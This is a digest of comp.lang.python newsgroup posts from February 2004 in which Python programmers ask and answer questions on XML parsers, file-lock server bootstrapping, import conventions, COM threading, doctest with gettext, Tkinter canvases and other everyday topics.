Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<5z3Yb.3920$Cd6.177500@news20.bellglobal.com>
	<c0rkhb$1ai18a$1@ID-71831.news.uni-berlin.de>
Message-ID: <d116fbae.0402210734.6d4b7a91@posting.google.com>

"James Kew" <james.kew at btinternet.com> wrote in message news:<c0rkhb$1ai18a$1 at ID-71831.news.uni-berlin.de>...
> "Chris Herborth" <chrish at cryptocard.com> wrote in message
> news:5z3Yb.3920$Cd6.177500 at news20.bellglobal.com...
> >
> > PyXML on Sourceforge (http://pyxml.sourceforge.net/) has faster
> > DOM-producing routines.
> 
> Which are? I like PyXML, but well-documented it ain't. I tend to use PyXML's
> minidom, fed by either the validating (== xmlproc) or non-validating (==
> expat) parsers -- are there faster PyXML alternatives?
> 
> > pyRXP (http://www.reportlab.org/pyrxp.html) is probably the fastest XML
> > parser for Python, but it doesn't produce a DOM or have a SAX API...
> 
> And recent threads here suggest it's not fully XML-compliant either, unless
> you can work in an ASCII-only XML subset.

Yes, and this is a very serious problem.  Anyone entering into XML
processing with the belief that they'll never need anything but
Unicode characters under U+256 is fooling himself.  Heck, even XML
exports from MS Office will generate high Unicode characters for
"smart" quotes, em nd en dashes, ellipses and a lot of other comon
punctuation.  All of these will blow up with PyRXP.

You can use PyRXPU, which is compliant but indications are that it
isn't as fast.


> For raw speed, libxml2 (and its Python wrapper) seems to get a lot of
> glowing reviews. It's not a standard DOM API, though, and again
> documentation is a problem (lots of C-API-level documentation, but not much
> in terms of how to put it together into a working Python app).
> 
> I gave it a whirl and it certainly seemed to fly, but getting to grips with
> the API and converting my existing DOM-manipulating code to it felt like too
> much of a hurdle given that my app runs fast enough as it is.

This was my biggest problem with libxml2/Python as documented here:

http://www.xml.com/pub/a/2003/05/14/py-xml.html

If documentation for Python users is improved, it will be hard to beat
that package.

But your criteria lead me to suggest that you give cDomlette a try.  I
is also implemented in C for performance.  It's as much DOM compliant
as libxml2's DOM API (which is to say not fully so), but we do try to
document it from the Python POV.  See:

http://uche.ogbuji.net/tech/akara/nodes/2003-01-01/domlettes

--Uche
http://uche.ogbuji.net


From fortepianissimo at yahoo.com.tw  Tue Feb 10 11:54:36 2004
From: fortepianissimo at yahoo.com.tw (Fortepianissimo)
Date: 10 Feb 2004 08:54:36 -0800
Subject: server bootstrapping upon connection (WARNING: LONG)
Message-ID: <ef08387c.0402100854.7c03b60c@posting.google.com>

Here is the situation: I want my server started up upon connection.
When the first connection comes in, the server is not running. The
client realizes the fact, and then starts up the server and tries to
connect again. This of course all happens on the same machine (local
connection only).

The connections can come in as fast as 30+/sec, so the server is
threaded (using SocketServer.ThreadingTCPServer). Further, the server
initialization is threaded into two: one is to do the real, lengthy
setup, the other is start lisenting ASAP.

The problem: I need to prevent multiple copies of the server being
started. I did this by using file locking (fcntl.lockf()). However,
not every time the code successfully prevented the server being
started up more than one time. Here is the relevant code:

---- CLIENT CODE SNIPPET STARTS ----
from fooConsts import *

import socket,fcntl,os,sys,time,logging

FOO_CLIENT_DEBUG=1

POLL_SERVER_INTVL=0.5

if FOO_CLIENT_DEBUG:
    myPID=os.getpid()
    logger = logging.getLogger('FOO Client')
    hdlr = logging.FileHandler(TMP_PATH+'fooClient.log')
    formatter = logging.Formatter('%(asctime)s %(message)s')
    hdlr.setFormatter(formatter)
    logger.addHandler(hdlr) 
    logger.setLevel(logging.INFO)

    def log (info):
        logger.info('%d: %s'%(myPID,info))


class FooClient:
    def __init__ (self, startServer=True):
        """Connects to FooServer if it exists, otherwise starts it and
connects to it"""
        self.connected=True
        if self.connect(): return
        elif not startServer:
            if FOO_CLIENT_DEBUG: log('connection failed 1')
            self.connected=False
            return

        # try to obtain the right to start a server; if we can't,
someone else
        # must be doing it - try to reconnect
        try:
            if FOO_CLIENT_DEBUG: log('try to get right to start
server')
            serverStartLock=open(TMP_PATH+'serverStart.lock','w')
            fcntl.lockf(serverStartLock.fileno(),fcntl.LOCK_EX|fcntl.LOCK_NB)
        except:
            if FOO_CLIENT_DEBUG: log('someone else is doing it; wait
2')
            while 1:
                time.sleep(POLL_SERVER_INTVL)
                if self.connect(): return

        # safe to start a server and connect to it
        if FOO_CLIENT_DEBUG: log('start server')
        exitCode=os.system('python -OO "%sfooServer.py" &'%FOO_PATH)
        if exitCode==0:
            if FOO_CLIENT_DEBUG: log('server is being started; wait
3')
            while 1:
                time.sleep(POLL_SERVER_INTVL)
                if self.connect(): return
        else:
            if FOO_CLIENT_DEBUG: log('sever bootstrapping failed')
            self.connected=False
            raise "Cannot start FOOServer"
    
    def connect (self):
        """Attempts to connect to FOOServer from PORT_MIN to
PORT_MAX"""
        if FOO_CLIENT_DEBUG: log('connection attempt')
        port=PORT_MIN
        while port<=PORT_MAX:
            try:
                self.socket=socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
                self.socket.connect(('',port))
                break
            except:
                self.socket.close()
                port+=1

        if port>PORT_MAX:
            if FOO_CLIENT_DEBUG: log('connection failed 2')
            return False
        if FOO_CLIENT_DEBUG: log('connection succeeded at port
%d'%port)
        return True
...

FooClient()
---- CLIENT CODE SNIPPET ENDS ----

>From the log (when problem occurred) I see even *AFTER* the server was
started and accepted connections (several connections came and went
happily), a connection would come in and hit the "connection failed 1"
log line. This shouldn't have happened as the default value of
startServer for FooClient.__init__() is True. In the very same
incident, FooServer was started twice, but in the log there's no trace
of two "start server" lines, but only the "connection failed 1" line
in the very end of the log.

I realize this is a rather complex question to ask for help, but I'm
really at wits end. Feel free to skip the detailed description, and
just throw me some general tips and hints. Thank you VERY MUCH!


From jalil at feghhi.com  Sun Feb 15 15:17:50 2004
From: jalil at feghhi.com (Jalil Feghhi)
Date: Sun, 15 Feb 2004 12:17:50 -0800
Subject: Viewing Directories as tree
In-Reply-To: <402ED475.6030601@prescod.net>
References: <402ED475.6030601@prescod.net>
Message-ID: <402FD3EE.5080103@feghhi.com>


I am looking for some python code that I can plug-into my web 
application to display file system heirarchies
using a tree structure. I have seem some  libraries that do this but 
only as a standalone application.

Is there anything that can be used in a browser?

Thanks,

-Jalil

>




From hoi.wai at alumni.ust.hk  Mon Feb 16 06:53:22 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Mon, 16 Feb 2004 19:53:22 +0800
Subject: Creating Self Extracting Zip using Python
Message-ID: <c0qc5j$2g52$1@news.hgc.com.hk>

Dear all,
	Are there any utility that can be call by python to create self 
extracting zip file. I'm now using the powerarchiever. But the command 
line options aren't flexible enough. Basically, I would like to create a 
self extracting zip with default file path extraction and force 
over-write. The powerArchiever just don't let me call it unless I'm 
using the GUI.
	Any idea, experience and suggestion are welcome.
	Thank you.
-Calvin


From pinard at iro.umontreal.ca  Thu Feb 19 14:06:02 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Thu, 19 Feb 2004 14:06:02 -0500
Subject: Why import only at module level?
In-Reply-To: <4034D771.9AE85ECB@engcorp.com>
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<4034D771.9AE85ECB@engcorp.com>
Message-ID: <20040219190602.GB2812@alcyon.progiciels-bpi.ca>

[Peter Hansen]
> Paul Rubin wrote:

> > That's what the Python style guides advise.  They don't seem to like

> >    def frob(x):
> >       import re
> >       if re.search('sdf[234]xyz', x): ...

> > instead preferring that you pollute your module's global namespace
> > with the names of all your imports.  What's the point of that?

> Maintainability.  It's also well understood that there are potential
> benefits to the approach you show above, late-loading of code being
> one of them (which can improve startup time for certain apps), but
> as maintainability should almost always be the primary consideration,
> the standard advice is to put stuff together at the top where it's
> clear to maintainers which modules are used in the code (in other
> words, what a given module is coupled to).

I never understood this "standard advice", nor how it is related to
maintainability.  What makes a module significantly more maintainable
by merely grouping `import' statements at the beginning?  What is it so
crucial to know that the `re' module is used, or not, in a program?  It
looks like a tiny detail to me.

If for some strange reason I urgently needed to know everything that a
program imports, I guess I would then `grep' the source for the word
`import'i, or just search with an editor! :-) This is surely not a need
I often have, and for from enough for justifying the convention.

If within a `def', I will often use a module which I do not use
elsewhere in a program, there is no reason to make it global.  Global
variables should be avoided on the average, and moreover, Python is
faster at accessing a local than a global.

I'm not really crusading for either method, but maybe a bit against
the mere existence of the "standard advice", unless it acquires some
better justification.  Of course, "maintainability" is a virtue, but the
relation between maintainability and the "standard advice" is asserted
as if it were to be evident, without explanation.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From klaus_neuner82 at yahoo.de  Mon Feb  9 09:59:35 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 9 Feb 2004 06:59:35 -0800
Subject: finding all sublists of list2 that are identical to list1
Message-ID: <3e96ebd7.0402090659.7948e06b@posting.google.com>

Hello, 

the function given below returns all indexes of list2 where a sublist
of list2 that is identical to list1 begins.

As I will need this function quite often, I would like to know if more
experienced programmers would agree with the way I defined the
function:

- Is there a more efficient way to do it? (Apart from building
automata.)
- Is there a more elegant/Pythonic way to write the function?

Klaus


def sublist(list1, list2):
    if list1 == list2:
        return [0]
    elif len(list1) > len(list2):
        return []
    else:
        result = []
        shift = 0
        i = 0
        while shift <= len(list2)-len(list1):
            if list1[i] == list2[shift+i]:
                if i == len(list1)-1:
                    result.append(shift)
                    i = 0
                    shift += 1
                else:
                    i += 1
            else:
                i = 0
                shift += 1
        return result


From junk at microsoft.com  Wed Feb 18 07:33:45 2004
From: junk at microsoft.com (Saravanan D)
Date: Wed, 18 Feb 2004 18:03:45 +0530
Subject: Sample Code for Performance Counters Implementation
References: <c0v81a$sra$1@news.mch.sbs.de>
	<pan.2004.02.18.11.22.30.487734@thomas-guettler.de>
Message-ID: <c0vm6c$jv9$1@news.mch.sbs.de>

"Thomas Guettler" <guettli at thomas-guettler.de> wrote in message
news:pan.2004.02.18.11.22.30.487734 at thomas-guettler.de...
> Am Wed, 18 Feb 2004 14:02:08 +0530 schrieb Saravanan D:
>
> > Hello,
> >
> > Can any one provide the sample Python code which implements Performance
> > Counters ?
>
> Hello,
>
> What do you mean with "Performance Counters"?
PerfMon is a tool which comes up Windows OS to Monitor your process, Memory
consumption of the process, thread count etc.,  .  Windows provides APIs to
add entries/Counter Objects  to the Windows PerfMon GUI.  This can be
monitored while application is running.  Some of the PerfMon APIs are also
exposed to Python Win32.

Whatever the example code came with the PyWin32 doesn't work properly.
>
> Maybe the module "profile" contains what you need.
>
>  thomas




From mcfletch at rogers.com  Tue Feb  3 03:32:14 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 03 Feb 2004 03:32:14 -0500
Subject: removing spaces when mixing variables / text
In-Reply-To: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
References: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
Message-ID: <401F5C8E.7040907@rogers.com>

tgiles wrote:
...

>	print a,".",b,".",c,".",d	
>	n = n-1
>
>The output at the moment looks like so:
>
>179 . 72 . 138 . 272
>21 . 124 . 83 . 9
>
>When, in a perfect universe it would look like so:
>
>179.72.138.272
>21.124.83.9
>  
>
print is a convenience used to do quick-and-dirty output.  It's focused 
on that convenience rather than on pretty formatting of reports.  So, if 
you're into the Java way of doing things:

import sys
sys.stdout.write( repr(a))
sys.stdout.write( '.' )
sys.stdout.write( repr(b))
...

Or, you could use one of these common idioms:

    # construct a string with the entire representation before printing
    print ".".join( [ str(x) for x in (a,b,c,d) ] )
    # or
    print str(a)+'.'+str(b)+'.'+str(c)+'.'+str(d)
    # or
    print '%(a)s.%(b)s.%(c)s.%(d)s'%locals()
    # or
    print '%s.%s.%s.%s' % (a,b,c,d)

String formatting (seen in those last two examples) is a very powerful 
mechanism, more focused on less regular formatting tasks, while the 
first example is more appropriate for tasks processing very large 
quantities of regular data.  The simple addition of strings is fine for 
very simple code, but tends to get a little clumsy eventually.

Welcome to the perfect universe :) ,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From ofnap at nus.edu.sg  Sun Feb  8 06:20:41 2004
From: ofnap at nus.edu.sg (Ajith Prasad)
Date: 8 Feb 2004 03:20:41 -0800
Subject: PYTHON DEVELOPERS IN SINGAPORE
Message-ID: <37ee60c8.0402080320.17a2d9f5@posting.google.com>

If there are any Python developers in Singapore with experience in
Python-Excel applications, please contact me at ofnap at nus.edu.sg to
discuss the development of a payroll projection application. Thanks in
advance for any response.


From aaron at metrony.com  Thu Feb 19 23:55:40 2004
From: aaron at metrony.com (Aaron Held)
Date: Fri, 20 Feb 2004 04:55:40 GMT
Subject: py2exe problem
In-Reply-To: <005c01c3f76b$c8440c50$0a01a8c0@adults>
References: <002001c3f763$1796fd20$0a01a8c0@adults>
	<40358563.80803@metrony.com>
	<005c01c3f76b$c8440c50$0a01a8c0@adults>
Message-ID: <40359350.1040805@metrony.com>

py2exe needs to find all of the modules associated w/ your application 
and bundle them in the new package.  That error means that it missed the 
module staic box.

you need to help py2exe find the files you need.

It may also be that staticbox is created on the fly from a resource 
file. Looking at the pythoncard example
http://cvs.sourceforge.net/viewcvs.py/pythoncard/PythonCardPrototype/samples/minimalStandalone/setup.py?rev=1.1&view=auto
you may need to add something like

 data_files = [ (".", ["readme.txt", "minimal.rsrc.py"]) ]
to your setup.py.

I don't use pythoncard, but this may help.

-Aaron



Tim Axtelle wrote:

>Yeah.  Sorry about the brain fart.  Yes, I can get ptest.exe and run.  I can
>also get my program to generate the appropriate .exe file.  However, I get
>this error message:
>
> "Import error: cannot import module 'staticbox"
>
>Staticbox is a module in Pythoncard, the GUI that I used.  I am not sure
>about the ' before staticbox.  How can I import this module?
>
>Thanks so much for your patience.
>
>Tim
>
>----- Original Message ----- 
>From: "Aaron Held" <aaron at metrony.com>
>To: "Tim Axtelle" <tim at axtelle.com>
>Sent: Thursday, February 19, 2004 7:56 PM
>Subject: Re: py2exe problem
>
>
>  
>
>>try running it from the command line.
>>If you click on it, the program executes and then the console window
>>closes. That is normal windows behaviour.
>>
>>-Aaron
>>
>>Tim Axtelle wrote:
>>
>>    
>>
>>>Aaron,
>>>
>>>Thanks for your reply.  I tried to run py2exe on the test code.
>>>Running the resulting .exe simply opens a window that immediately
>>>closes.
>>>
>>>Thanks,
>>>
>>>Tim Axtelle
>>>      
>>>
>>
>>    
>>
>
>  
>


From claird at lairds.com  Wed Feb 18 14:10:37 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 18 Feb 2004 19:10:37 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 17)
References: <1035d0r9kdr824b@corp.supernews.com>
	<mailman.22.1077129608.27104.python-list@python.org>
Message-ID: <1037e5dbhs9aua5@corp.supernews.com>

In article <mailman.22.1077129608.27104.python-list at python.org>,
Gerrit  <gerrit at nl.linux.org> wrote:
>>     LOTS of magazines now run Python content, more than are feasible
>>     to track.  Even Tim Berners-Lee has adopted Python for his assault
>>     on The Semantic Web.
>> 	http://www.w3.org/2000/10/swap/doc/cwm
>
>This doesn't seem very recent...?
			.
			.
			.
It's not.  I'm erratic.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From claird at lairds.com  Tue Feb 24 13:16:57 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 24 Feb 2004 18:16:57 -0000
Subject: Comments requested: brief summary of Python
References: <mailman.50.1077643494.8594.python-list@python.org>
Message-ID: <103n58pid8eh566@corp.supernews.com>

In article <mailman.50.1077643494.8594.python-list at python.org>,
Brian Quinlan <brian at sweetapp.com> wrote:
			.
			.
			.
>! Python figures out which type a variable should be the first time it 
>! is used.
>
>No. In Python the concept of a variable is completely divorced from the
>concept of type. A type is NEVER associated with a variable so no figuring
>out is needed.
>
>| i = "Hello"
>| will make i a string.
>
>Same. i is a variable, not a string.
			.
		[other errors noted and
		astutely corrected]
			.
			.
The approach I like is to discard any language that
encourages newcomers to regard
  i = "Hello"
as an "assignment", and to identify it instead as
what it is for Python:  a *binding* to the name
'i'.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From prouleau at impathnetworks.com  Thu Feb 26 23:12:46 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Thu, 26 Feb 2004 23:12:46 -0500
Subject: Problem with mixing doctest with gettext _()
Message-ID: <Ysz%b.20076$253.1212052@news20.bellglobal.com>

I have a problem writing self-testable modules using doctest when these 
modules have internationalized strings using gettext _('...').

- The main module of an application (say app.py) calls gettext.install() 
to install the special _ function inside Python builtin.  Other modules, 
taken from a general purpose collection of Python modules, also support 
internationalisation and doctest testing.

For example:

utstring.py would contain some code like this:

def onOffStr(isOn) :
     """Return the "ON" string for True, "OFF" for False.

     **Example**

     >>> onOffStr(True)
     u'ON'
     >>> onOffStr(False)
     u'OFF'
     >>>
     """
     if isOn:
         return _(u"ON")  # notice the underscore
     else:
         return _(u"OFF")



The utstring module does not call any of the gettext calls, because some 
other module does it when the application runs.  So the doctest fails:

*****************************************************************
Failure in example: onOffStr(True)
from line #4 of utstring.onOffStr
Exception raised:
Traceback (most recent call last):
   File "C:\Python23\Lib\doctest.py", line 442, in _run_examples_inner
     compileflags, 1) in globs
   File "<string>", line 1, in ?
   File "C:\dev\python\utstring.py", line 513, in onOffStr
     return _(u"ON")
TypeError: 'tuple' object is not callable
*****************************************************************

I tried to define a _() function when testing with the code below but 
the doctest still fails.  The following code is at the end of my 
utstring.py module

def _test():
     """_test() perform docstring test"""

     import doctest, utstring
     return doctest.testmod(utstring)

if __name__ == "__main__":
     def _(aString):
	# dummy _() attempting to get doctest to pass.
         return aString

     _test()


----------

Does anyone know why the doctest still fails when I define the dummy _() 
function?


Thanks in advance.

Pierre




From aldo123 at onet.pl  Wed Feb  4 04:18:23 2004
From: aldo123 at onet.pl (mic)
Date: Wed, 4 Feb 2004 10:18:23 +0100
Subject: com wrapper and threads
Message-ID: <bvqe8j$3vu$1@news.atman.pl>

I'm playing with using COM object shared among different threads.
Unfortunately I've come into a problem - I don't know how to properly invoke
com object from external thread. Here comes simplified code I'd like to use:

class ComObjectWrapper:
#this class is by all means needed - of course it's code is much more
complicated than just simply wrapping the COM interface
    def __init__(self):
        self.ComObject = Dispatch(somecom)

    def useCom(self, value):
            self.ComObject.use(value)

class MainThread:
    def __init__(self):
        self.Object = ComObjectWrapper()

    def runChildThread(self):
        CThread = ChildThread(self)
        CThread.start()

class ChildThread(Thread):
    def __init__(self, parent):
        self.Parent = parent

    def run(self):
        #This thread has to use some methods from ComObjectWrapper instance
and it's dispatched COM object
        pythoncom.CoInitialize()
        self.Parent.Object.UseCom() # <--- this generates error
        pythoncom.CoUninitialize()

I was trying to use different combinations of sys.coinit_flags = 0 and
pythoncom.COINIT_MULTITHREADED but without success up till now. I've even
managed to send to child thread proper com reference by using stream
marshalling (as stated in "Python programming for win32"), but still I don't
want to use COM itself but its "wrapper" class. Any enlightening thoughts?

Michal




From godoy at ieee.org  Sun Feb 22 19:12:25 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Sun, 22 Feb 2004 21:12:25 -0300
Subject: Help With  EOF character: URGENT
References: <mailman.175.1077491415.27104.python-list@python.org>
Message-ID: <94tng1-vgg.ln1@wintermute.g2ctech>

On Sunday 22 February 2004 20:10, dont bother wrote:

> My problem is that I dont know what to use in place of
> EOF. I have tried using Octal "\003" and "\004" but
> that does not work. The code keeps on running. I want
> it to stop reading when the EOF has reached.
> Can someone help me out on this?

Have you tried just using "while a:"? When it can't read anything -- i.e.
EOF was found -- it will return False and the loop will end. 


Be seeing you,
-- 
Godoy.      <godoy at ieee.org>


From tjreedy at udel.edu  Fri Feb  6 14:46:50 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 14:46:50 -0500
Subject: Interaction with two mouse
References: <bvviff$h2u$1@newsfeed.cineca.it>
	<c00ivu$k6q$1@news.service.uci.edu>
Message-ID: <c00qva$kkl$1@sea.gmane.org>


"Josiah Carlson" <jcarlson at nospam.uci.edu> wrote in message
news:c00ivu$k6q$1 at news.service.uci.edu...
> This may suggest that it is an operating system architectural limitation
> because no one wanted to answer the question, what would it mean for two
> mouse pointers to be wandering around the screen?

Given that I use my mouse alternately with both hands, I can easily imagine
having two distinguisable pointers that do different things.  In an editor,
one could select text, while the other selects buttons and menu operations.
In a game, one could move and attack chars while other operates peripheral
functions.  Not having to move the personnel pointer (and maybe lose
current selection) to open a building or log book could be quite nice.

Terry R. Reedy






From mwh at python.net  Thu Feb 12 06:43:47 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 12 Feb 2004 11:43:47 GMT
Subject: Checking for usual descriptors in Python 2.3
References: <mailman.2.1076545873.698.python-list@python.org>
	<m3isic1qhi.fsf@pc150.maths.bris.ac.uk>
Message-ID: <m3ekt01q19.fsf@pc150.maths.bris.ac.uk>

Michael Hudson <mwh at python.net> writes:

> Fran?ois Pinard <pinard at iro.umontreal.ca> writes:
> 
> > This question is a bit technical, but hopefully, this list will offer me
> > good hints or nice solutions.  Happily enough for me, it often does! :-)
> > 
> > I would need to recognise and play with descriptor types, like:
> > 
> >     member descriptors
> >     method descriptors
> >     getset descriptors
> >     wrapper descriptors
> > 
> > but do not find how to easily refer to them, either from existing
> > constructor types (like we could do with `property', say), nor from
> > members of the `types' module.  I also wonder how much I can "get into"
> > these various descriptors or tear them apart...
> 
> If you want to know whether 'ob' is a descriptor, 
> 
>     hasattr(ob, '__get__')
> 
> is pretty close.  PEP 252 is also your friend. 

On the off chance that this wasn't what you were asking (:-) and you
wanted to get your hands on the type objects of each of the given
descriptor types, the only way I can think of doing that is getting
your hands on one and calling type() on it.

member: type(type.__dict__['__dictoffset__'])
method: type(list.append)
getset: type(object.__dict__['__class__'])
wrapper: type(object.__dict__['__getattribute__'])

As to how introspectable each of these are, the interactive
interpreter (or the source) is now your friend.

HTH,
mwh

-- 
  If you don't use emacs, you're a pathetic, mewling, masochistic
  weakling and I can't be bothered to convert you.    -- Ron Echeverri


From fredrik at pythonware.com  Sat Feb 28 03:27:46 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Feb 2004 09:27:46 +0100
Subject: Tkinter: how to refresh a canvas without duplicates?
References: <20040228011336.3e4a9e0f@pc-00065.midtoad.homelinux.org>
Message-ID: <c1pjia$sh1$1@sea.gmane.org>

Stewart Midwinter wrote:

> I've got a Tkinter app that draws three histograms.  At this point I am
> simulating real data by drawing rectangles whose size is defined by random
> numbers; in the future there would be real data coming from a server.
>
> I want to redraw the rectangles every time I press the Again button.  This works
> for me, but I get an extra set of rectangles each time I press the Again button.
> How to get rid of this effect?

the create methods add new objects to the canvas.  if you want
to replace them, you can either get rid of the old objects (using
delete(id) or even delete(ALL)) or you can modify the objects in
place (itemconfig, coords).

more info here:

http://www.pythonware.com/library/tkinter/introduction/canvas.htm

(see "item specifiers" under "concepts", and the "methods" section)

if you need to rapidly redraw things in a Tkinter widget, the WCK is
often a lot more efficient:

    http://www.effbot.org/zone/wck.htm

</F>






From __peter__ at web.de  Tue Feb 24 05:57:10 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 24 Feb 2004 11:57:10 +0100
Subject: Newbie - circular import problem
References: <db1b46bd.0402240215.4d7ea76a@posting.google.com>
Message-ID: <c1fam6$8q1$06$1@news.t-online.com>

sw wrote:

> Can you give me some pointers on resolving this circular inclusion? I've
> got two classes, in two files:
> 
> --a.py--
> import b
> class ClassA:
>     def __init__(self):
>         print 'ClassA'
> 
> --b.py--
> import a

Your problem has nothing to do with circular references. Just change the
following to 

class ClassB(a.ClassA):

> class ClassB(ClassA):
>     def __init__(self):
>         print 'ClassB'
>  
> If I try to access ClassB (for example, by firing up python and importing
> b), I get the error:
> 
>   File "b.py", line 2, in ?
>     class ClassB(ClassA):
>     NameError: name 'ClassA' is not defined
> 
> Could someone explain what is going wrong here? I'm still getting up to
> speed with python, but, to me, this looks like the import of b is occuring
> before ClassA has been defined. Is that right? How can I correct this,
> apart from amalgamating the two into a single file?
> 
> Many thanks for any guidance.

Circular imports are often an indication of a design error. However, most of
the time python has no problem with two modules importing each other - as
long as you put references to the "other" module into function or method
bodies, i. e. into code that is not executed during import.

Peter




From cnoviello at hotmail.com  Thu Feb  5 16:30:12 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 21:30:12 +0000 (UTC)
Subject: Newbie question on tuples
References: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>
Message-ID: <db3589e39182faae6d92f1b56acfeea5.46955@mygate.mailgate.org>

"Thomas Philips" <tkpmep at hotmail.com> wrote in message
news:b4a8ffb6.0402051309.4292ccf1 at posting.google.com

> How does one find the position of an item in a tuple. i.e. If the
> tuple is ("rock", "scissors", "paper"), what function (or method) do I
> call with "rock" to get 0 or with "paper" to get 2?
> 
> Thomas Philips

def indexOf(t, elem):
	ret = -1 #Not in tuple
	for i in range(len(t)):
		if t[i] == elem:
			ret = i
			break
	return ret

-Bye


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From kdahlhaus at yahoo.com  Thu Feb 26 12:43:08 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 26 Feb 2004 09:43:08 -0800
Subject: Is MVC architecture applicable for web environment??
References: <f046efac.0402260204.2ed4588b@posting.google.com>
Message-ID: <283adf56.0402260943.73bb05fb@posting.google.com>

This caused me a lot of frustation when I moved to a java development
house.  What  most people call MVC in relation to web based apps is
not what the traditional MVC is in the sense of OWL, Fresco, and the
like.  ( I've noticed in the java world that pundits tend to grasp a
concept, skew it, and promote it.)

People are actually referring to the common notion of a layered model
where there's a domain or persistence layer, 'controller' code that
manages flow of the pages and marshalling and unmarshalling web-form
data to domain objects, and a 'view' layer that is often the
templating system or server-pages.

It works well enough, especially on larger projects, I just wish it
were called something other than MVC.



ketulp_baroda at yahoo.com wrote in message news:<f046efac.0402260204.2ed4588b at posting.google.com>...
> Hi
> Is the true mvc architecture ( with observer-observable pattern as
> implemented in JAVA) not applicable for web environment??
> I mean to say that the HTTP protocol is request/response based so
> there is no notion of an "event" being notified ...
> whereas the observer-observable pattern is based on event.


From ken at perfect-image.com  Wed Feb 18 22:55:27 2004
From: ken at perfect-image.com (Ken Godee)
Date: Wed, 18 Feb 2004 20:55:27 -0700
Subject: How can I waste time ?
In-Reply-To: <282f826a.0402181935.2757359f@posting.google.com>
References: <282f826a.0402181935.2757359f@posting.google.com>
Message-ID: <403433AF.8050702@perfect-image.com>

Richard Shea wrote:
> I'm sure this is a very simple question but I can't find an answer in
> the archives.
> 
> I want my script to pause for a pre-determined number of seconds. How
> do you do that ? I've found 'pause()' although it sounds awfully deep
> for what I want and what's more it doesn't work on W32 (I'm developing
> on W32 but will run on *nix).
> 
> Oh yes one other thing - I could write a loop and keep checking the
> sytem clock but I would prefer for the process to just get out of the
> way to allow others things access to the CPU.
> 
> As I say I'm sure it's dead simple but how ?
> 
> thanks
> 
> richard shea.

import time
time.sleep(secs)




From http  Thu Feb 19 04:41:48 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 01:41:48 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<slrnc38nmb.3g8.joe@gate.notcharles.ca>
	<7xy8qzmrgd.fsf@ruckus.brouhaha.com>
	<40347D85.85A7A91B@alcyone.com>
Message-ID: <7xfzd7v21v.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > What do you mean by "return value"?  Only functoins have return
> > values.  It's just a value, not a return value.
> 
> You know very well what he means, you're just being difficult at this
> point.

No, I think he's preoccupied with distinctions that aren't there.
He said

> x = 1 (or x := 1) looks to me like a statement that sets x to 1, not
> an expression.  I wouldn't expect any return value, if my mind hadn't
> been corrupted by C.

but of course from my Lisper's point of view, the whole idea that a
statement and an expression are fundamentally different things is
itself a sign of a corrupted mind.  I'm not willing to accept the
notion that the way C does it is the one that's "corrupt".  C was
phenomenally successful despite its warts, because it was conducive to
an easy, fluid coding style, just like Python sometimes aspires to.
Assignment expressions were an aspect of that conduciveness.  Python
itself has this really odd mixture of wonderful fluidity (I love list
comprehensions), and completely unnecessary, almost Calvinistic
moralizing over semi-trivial issues like assignment expressions, while
still leaving plenty of naked razor blades (unchecked exceptions, the
crazy scoping system, lack of protection on class attributes, etc.)
for the programmer to slash himself with.

> What you're suggesting has been proposed, time and time again.  And it
> has been shot down, time and time again.

I'm unmoved by that observation.  We've seen it plenty of times
before, that the need for something in Python was recognized for a
long long time, but shot down repeatedly before finally being fixed
(look at 'a += b').  Maybe this will be the same.


From paul at prescod.net  Mon Feb  9 11:59:13 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 16:59:13 GMT
Subject: Jython and GIL
In-Reply-To: <418ab5dd.0402090827.39e1d31@posting.google.com>
References: <418ab5dd.0402090827.39e1d31@posting.google.com>
Message-ID: <4027BC38.1080502@prescod.net>

bboman at research.panasonic.com wrote:

> Does Jython have a global interpreter lock like CPython?

No.

http://mail.python.org/pipermail/python-list/2001-December/075680.html

  Paul Prescod



From fumanchu at amor.org  Thu Feb 19 21:11:15 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 19 Feb 2004 18:11:15 -0800
